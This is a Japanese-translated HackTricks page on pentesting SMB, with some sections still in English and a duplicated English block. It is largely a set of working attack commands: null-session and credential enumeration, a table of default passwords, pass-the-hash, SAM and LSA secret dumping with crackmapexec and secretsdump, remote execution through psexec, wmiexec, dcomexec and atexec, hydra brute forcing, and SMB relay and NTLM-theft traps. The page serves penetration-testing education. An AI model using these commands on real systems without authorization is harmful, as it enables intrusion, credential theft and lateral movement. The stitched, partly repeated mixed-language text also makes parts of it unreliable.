38 KiB
139,445 - SMBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。これは、独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
ポート139
NetBIOSは、_Network Basic Input Output System_の略です。これは、ローカルエリアネットワーク(LAN)上のアプリケーション、PC、およびデスクトップがネットワークハードウェアと通信し、データをネットワーク上で送信するためのソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名を使用して相互に検出および識別します。NetBIOS名は最大16文字であり、通常はコンピュータ名とは別です。2つのアプリケーションは、クライアントが「呼び出し」コマンドを別のクライアント(サーバー)に送信すると、TCPポート139を介してNetBIOSセッションを開始します。(ここから抜粋)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
ポート445
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message Blockは一般的なインターネットファイルシステムとしても知られています。このシステムは、ネットワーク上のノード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーションレイヤーネットワークプロトコルとして機能します。
たとえば、Windowsでは、SMBはNetBIOS over TCP/IPを必要とせずに直接TCP/IP上で実行することができます。これは、指摘されているようにポート445を使用します。他のシステムでは、ポート139を使用してサービスやアプリケーションが実行されていることがあります。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します(ここから抜粋)
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
SMB
Server Message Block(SMB
)は、ファイルへのアクセスやディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御するクライアントサーバープロトコルです。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。
また、フリーソフトウェアプロジェクトであるSambaを使用することで、LinuxおよびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。
SMBサーバーは、ローカルファイルシステムの任意の部分を共有することができます。したがって、クライアントに表示される階層は、サーバー上の構造と部分的に独立しています。アクセス権は、Access Control Lists
(ACL
)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**実行
、読み取り
、完全アクセス
などの属性に基づいて細かく制御することができます。ACLは共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。
IPC$ 共有
書籍「Network Security Assessment 3rd edition」より
匿名のヌルセッションを使用すると、IPC$共有にアクセスし、名前付きパイプを介して公開されたサービスと対話することができます。特にKali Linux内のenum4linuxユーティリティは非常に便利です。これを使用すると、次の情報を取得できます。
- オペレーティングシステムの情報
- 親ドメインの詳細
- ローカルユーザーとグループのリスト
- 利用可能なSMB共有の詳細
- 有効なシステムセキュリティポリシー
NTLMとは
NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法について知りたい場合は、次のページが非常に興味深いでしょう。NTLMについて説明されており、このプロトコルの動作方法とどのように利用できるかが説明されています:
{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}
サーバーの列挙
ネットワークをスキャンしてホストを検索する:
nbtscan -r 192.168.0.1/24
SMBサーバーバージョン
SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他のツールに表示されない場合は、次の方法を使用できます。
- MSFの補助モジュールである_auxiliary/scanner/smb/smb_versionを使用する
- または、次のスクリプトを使用する:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
エクスプロイトの検索
You can search for exploits related to SMB using the following resources:
- Exploit-DB: A popular database of exploits and vulnerabilities. You can search for SMB exploits by using keywords like "SMB" or "Windows SMB".
- Metasploit Framework: A powerful penetration testing tool that includes a vast collection of exploits. You can search for SMB exploits by using the `search` command followed by relevant keywords.
- GitHub: A platform where developers share code. You can search for SMB exploits by using keywords like "SMB" or "Windows SMB" in the repository search.
Remember to always use these resources responsibly and for legal purposes.
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
可能性のある資格情報
ユーザー名 | 一般的なパスワード |
---|---|
(空白) | (空白) |
guest | (空白) |
Administrator, admin | (空白), password, administrator, admin |
arcserve | arcserve, backup |
tivoli, tmersrvd | tivoli, tmersrvd, admin |
backupexec, backup | backupexec, backup, arcada |
test, lab, demo | password, test, lab, demo |
SMB環境情報
情報の取得
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
ユーザー、グループ、およびログイン中のユーザーの列挙
ユーザーの列挙
- ユーザーのリストを取得するために、以下のコマンドを使用します。
$ enum4linux -U <target_ip>
- ユーザーのリストとその詳細情報を取得するために、以下のコマンドを使用します。
$ rpcclient -U "" <target_ip> -N
rpcclient $> enumdomusers
グループの列挙
- グループのリストを取得するために、以下のコマンドを使用します。
$ enum4linux -G <target_ip>
- グループのリストとその詳細情報を取得するために、以下のコマンドを使用します。
$ rpcclient -U "" <target_ip> -N
rpcclient $> enumdomgroups
ログイン中のユーザーの列挙
- ログイン中のユーザーのリストを取得するために、以下のコマンドを使用します。
$ smbstatus
- ログイン中のユーザーのリストとその詳細情報を取得するために、以下のコマンドを使用します。
$ rpcclient -U "" <target_ip> -N
rpcclient $> queryuser
# This info should already being gathered from enum4linux and enum4linux-ng
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
# Impacket - Enumerate local users
lookupsid.py -no-pass hostname.local
# Metasploit - Enumerate local users
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
LSARPCとSAMR rpcclientの列挙
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}
LinuxからのGUI接続
ターミナルで:
xdg-open smb://cascade.htb/
ファイルブラウザウィンドウ(nautilus、thunarなど)で:
smb://friendzone.htb/general/
共有フォルダの列挙
共有フォルダの一覧表示
常にアクセスできるものがあるかどうかを確認することをお勧めします。資格情報がない場合は、null credentials/guest userを使用してみてください。
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
共有フォルダの接続/リスト
To connect to a shared folder on a remote SMB server, you can use the smbclient
tool. This tool allows you to interact with SMB servers and perform various operations.
To connect to a shared folder, use the following command:
smbclient //<IP_ADDRESS>/<SHARED_FOLDER> -U <USERNAME>%<PASSWORD>
Replace <IP_ADDRESS>
with the IP address of the remote SMB server and <SHARED_FOLDER>
with the name of the shared folder you want to connect to. Additionally, replace <USERNAME>
and <PASSWORD>
with valid credentials for accessing the shared folder.
Once connected, you can list the contents of the shared folder using the ls
command:
ls
This will display a list of files and directories within the shared folder.
By connecting to a shared folder, you can access and manipulate its contents, allowing you to perform various tasks during a penetration test or security assessment.
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
Windows共有フォルダを手動で列挙し、接続する
ホストマシンの共有フォルダを表示することが制限されている可能性があり、共有フォルダの一覧が表示されない場合、手動で共有フォルダに接続してみる価値があります。共有フォルダを手動で列挙するためには、有効なセッション(ヌルセッションまたは有効な資格情報)を使用している場合に、NT_STATUS_ACCESS_DENIEDやNT_STATUS_BAD_NETWORK_NAMEのような応答を探すことができます。これらは、共有フォルダが存在してアクセス権がないか、共有フォルダが存在しないことを示す可能性があります。
Windowsターゲットの一般的な共有フォルダ名は以下の通りです。
- C$
- D$
- ADMIN$
- IPC$
- PRINT$
- FAX$
- SYSVOL
- NETLOGON
(_Network Security Assessment 3rd edition_からの一般的な共有フォルダ名)
以下のコマンドを使用して、これらの共有フォルダに接続を試みることができます。
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
または、このスクリプト(ヌルセッションを使用)
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
SMB (Server Message Block) Pentesting
SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. In the context of pentesting, SMB can be a valuable target for attackers due to its vulnerabilities and potential for unauthorized access.
SMB Enumeration
SMB Version Detection
To determine the version of SMB running on a target system, you can use the nmap
command with the --script smb-protocols
option:
nmap -p 445 --script smb-protocols <target>
SMB User Enumeration
To enumerate users on an SMB server, you can use the enum4linux
tool:
enum4linux -U <target>
SMB Share Enumeration
To enumerate shares on an SMB server, you can use the smbclient
tool:
smbclient -L //<target>
SMB Null Session Enumeration
To perform null session enumeration on an SMB server, you can use the smbclient
tool:
smbclient -L //<target> -N
SMB Exploitation
SMB Relay Attack
SMB relay attacks involve intercepting and relaying SMB authentication requests to gain unauthorized access to a target system. The Responder
tool can be used to perform SMB relay attacks:
responder -I <interface>
SMB Brute-Force Attack
To perform a brute-force attack against an SMB server, you can use tools like Hydra
or Medusa
:
hydra -L <userlist> -P <passwordlist> smb://<target>
SMB Exploits
There are various SMB exploits available that target specific vulnerabilities in SMB implementations. Some popular exploits include:
- EternalBlue (MS17-010)
- MS08-067
- MS10-061
SMB Post-Exploitation
SMB File Transfer
To transfer files to and from an SMB server, you can use the smbclient
tool:
smbclient //<target>/<share> -U <username>
SMB Command Execution
To execute commands on an SMB server, you can use the psexec
tool from the Impacket
framework:
psexec.py <username>:<password>@<target>
SMB Password Hashes
To extract password hashes from an SMB server, you can use the secretsdump.py
tool from the Impacket
framework:
secretsdump.py <username>:<password>@<target>
SMB Security Recommendations
To secure SMB services, consider the following recommendations:
- Keep SMB services up to date with the latest patches and security updates.
- Disable SMBv1, as it is vulnerable to various attacks.
- Implement strong password policies and enforce regular password changes.
- Use SMB signing to ensure the integrity and authenticity of SMB communications.
- Restrict access to SMB shares based on user permissions.
- Monitor SMB traffic for any suspicious activity or unauthorized access attempts.
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
共有フォルダのマウント
To mount a shared folder in the SMB protocol, you can use the mount
command in Linux or the net use
command in Windows.
Linux
In Linux, you can use the mount
command with the -t cifs
option to mount a shared folder. The syntax is as follows:
mount -t cifs //<IP_address>/<shared_folder> <mount_point> -o username=<username>,password=<password>
Replace <IP_address>
with the IP address of the SMB server, <shared_folder>
with the name of the shared folder, <mount_point>
with the directory where you want to mount the shared folder, <username>
with your username, and <password>
with your password.
Windows
In Windows, you can use the net use
command to mount a shared folder. The syntax is as follows:
net use <drive_letter>: \\<IP_address>\<shared_folder> /user:<username> <password>
Replace <drive_letter>
with the desired drive letter for the mounted folder, <IP_address>
with the IP address of the SMB server, <shared_folder>
with the name of the shared folder, <username>
with your username, and <password>
with your password.
By using these commands, you can easily mount a shared folder and access its contents.
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
ファイルのダウンロード
資格情報/Pass-the-Hashを使用して接続する方法については、前のセクションを参照してください。
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
コマンド:
- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" はすべてのファイルを指します)
- recurse: 再帰をオンに切り替えます(デフォルト: オフ)
- prompt: ファイル名のプロンプトをオフに切り替えます(デフォルト: オン)
- mget: マスクに一致するすべてのファイルをホストからクライアントマシンにコピーします
(smbclientのmanページからの情報)
ドメイン共有フォルダの検索
- Snaffler****
Snaffler.exe -s -d domain.local -o snaffler.log -v data
- CrackMapExecのスパイダー。
-M spider_plus [--share <share_name>]
--pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
特に興味深いのは、Registry.xml
という名前のファイルです。これには、グループポリシーを介してautologonが設定されたユーザーのパスワードが含まれている可能性があります。また、**web.config
**ファイルには資格情報が含まれていることがあります。
{% hint style="info" %}
SYSVOL共有はドメイン内のすべての認証済みユーザーによって読み取り可能です。そこには、さまざまなバッチ、VBScript、PowerShell スクリプトが見つかるかもしれません。
内部のスクリプトを確認することをお勧めします。そこにはパスワードなどの機密情報が含まれている可能性があります。
{% endhint %}
レジストリの読み取り
発見した資格情報を使用して、レジストリを読み取ることができる場合があります。Impacketの**reg.py
**を使用して次のように試すことができます:
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
ポストエクスプロイテーション
Samba サーバーのデフォルト設定は通常 /etc/samba/smb.conf
にあり、いくつかの危険な設定が含まれている可能性があります:
設定 | 説明 |
---|---|
browseable = yes |
現在の共有内の利用可能な共有をリストアップすることを許可しますか? |
read only = no |
ファイルの作成と変更を禁止しますか? |
writable = yes |
ユーザーがファイルを作成および変更できるようにしますか? |
guest ok = yes |
パスワードを使用せずにサービスに接続することを許可しますか? |
enable privileges = yes |
特定のSIDに割り当てられた特権を尊重しますか? |
create mask = 0777 |
新しく作成されたファイルに割り当てる必要のあるアクセス許可は何ですか? |
directory mask = 0777 |
新しく作成されたディレクトリに割り当てる必要のあるアクセス許可は何ですか? |
logon script = script.sh |
ユーザーのログイン時に実行する必要のあるスクリプトは何ですか? |
magic script = script.sh |
スクリプトが閉じられたときに実行する必要のあるスクリプトはどれですか? |
magic output = script.out |
マジックスクリプトの出力を保存する必要のある場所はどこですか? |
コマンド smbstatus
は、サーバーと接続しているユーザーに関する情報を提供します。
Kerberosを使用して認証する
smbclient と rpcclient のツールを使用して、Kerberos に認証することができます:
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
コマンドの実行
crackmapexec
crackmapexecは、mmcexec、smbexec、atexec、wmiexecのいずれかを悪用してコマンドを実行することができます。デフォルトの方法はwmiexecです。使用するオプションを指定するには、パラメータ--exec-method
を使用します。
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec/smbexec
両方のオプションは、被害者のマシンに \pipe\svcctl を使用して新しいサービスを作成し、それを使用して何かを実行します(psexec は実行可能ファイルを ADMIN$ 共有にアップロードし、smbexec は cmd.exe/powershell.exe を指し、引数にペイロードを入れます --ファイルレステクニック--)。
psexec と smbexecに関する詳細情報。
Kaliでは、/usr/share/doc/python3-impacket/examples/にあります。
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
パラメータ-k
を使用することで、NTLMの代わりにKerberosに対して認証することができます。
wmiexec/dcomexec
ポート135を介してDCOMを使用して、ディスクに触れずに新しいサービスを実行せずにコマンドシェルをステルスで実行します。
Kaliでは、/usr/share/doc/python3-impacket/examples/にあります。
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
パラメータ-k
を使用すると、NTLMの代わりにKerberosに対して認証することができます。
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
AtExec
タスクスケジューラを介してコマンドを実行します(SMBを介して \pipe\atsvc を使用)。
kali では、/usr/share/doc/python3-impacket/examples/にあります。
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
Impacketの参照
https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/
ユーザーの資格情報をブルートフォース攻撃する
これはおすすめできません。最大許容試行回数を超えるとアカウントがブロックされる可能性があります
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
SMBリレーアタック
この攻撃は、Responderツールキットを使用して内部ネットワーク上でSMB認証セッションをキャプチャし、それをターゲットマシンにリレーします。認証セッションが成功した場合、自動的にシステムシェルに移行します。 この攻撃に関する詳細情報はこちらを参照してください。
SMB-Trap
WindowsライブラリURLMon.dllは、ページがSMB経由でコンテンツにアクセスしようとすると、ホストに自動的に認証を試みます。例えば:img src="\\10.10.10.10\path\image.jpg"
これは、次の関数で発生します:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
これらは、一部のブラウザやツール(Skypeなど)で使用されます。
MitMfを使用したSMBTrap
NTLM盗難
SMBトラッピングと同様に、悪意のあるファイルをターゲットシステムに配置する(たとえばSMB経由で)と、SMB認証の試みが行われ、ResponderなどのツールでNetNTLMv2ハッシュを傍受することができます。ハッシュはオフラインでクラックするか、SMBリレーアタックで使用することができます。
HackTricks自動コマンド
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。